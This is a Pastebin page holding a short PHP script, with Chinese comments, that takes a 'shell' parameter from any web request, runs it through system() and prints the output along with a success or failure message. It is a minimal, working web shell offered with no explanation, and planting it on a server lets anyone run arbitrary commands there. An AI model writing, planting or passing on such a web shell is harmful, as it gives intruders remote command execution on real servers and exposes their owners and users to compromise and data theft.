Advertisement
ZRE0412

Untitled

Nov 28th, 2022
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1. <?php
  2. echo "Hello";
  3. #獲取網頁傳遞引數
  4. $shell = $_REQUEST['shell'];
  5. echo "<pre>";
  6. system($shell, $status);
  7. echo "</pre>";
  8. //注意shell命令的執行結果和執行返回的狀態值的對應關係
  9. $shell = "<font color='red'>$shell</font>";
  10. if( $status ){
  11. echo "shell命令{$shell}執行失敗";
  12. } else {
  13. echo "shell命令{$shell}成功執行";
  14. }
  15. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement